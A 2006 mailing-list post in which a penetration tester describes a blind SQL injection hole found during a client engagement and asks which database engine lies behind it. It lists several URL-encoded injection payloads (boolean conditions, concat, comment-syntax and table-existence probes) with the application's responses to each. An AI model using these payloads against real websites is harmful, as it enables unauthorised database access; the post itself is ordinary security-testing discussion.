From: Tonu Samuel (tonu@jes.ee)
Date: Mon Jul 17 2006 - 03:01:50 EDT
Hi!
I am doing penetration test for client and have weird situation. Seems like I
have SQL injection hole and I can command SQL server in "blind" injection. In
some reason common technique
' or 'a'='a
does not give right results but
' and 'a'='a
does. Some examples:
'+and'a'='a
Normal screen
'+and'a'='b
Empty frame (means no result from SQL)
'+and+exists+(select+1+from+sys.dual)+and'a'='a
Generic error message. No reason explanation. Means that not Oracle. I also
tried many other places like INFORMATION_SCHEMA to look up but no luck.
'+and'a'||'a'='aa
Also error. Again means not Oracle
'+and'a'%2b'a'='aa
This is weird. No error but no result either. Empty screen. Not MS SQL and
many others. Why?
'+and'0'%2b'0'='0
SQL gets proper result.
'+and+concat('a','a')='aa
Also works and provides result
'+and+concat('a','a')='a
emtpy screen
'+and/*'*/+bar=bar+and+'a'='a
Error message! Very weird because in my best knowledge every SQL knows about
comments.
'+and/**/+bar=bar+and+'a'='a
Works.
'+and/*!*/+bar=bar+and+'a'='a
Error again.
Any clue what is that SQL? As you see I can play with some syntaxes which
belong to some language but it behaves wrong for common SQL engines. I know
from headers that they use some XSLT middleware, Apache and ASP.NET. Probably
few layers.
Tõnu
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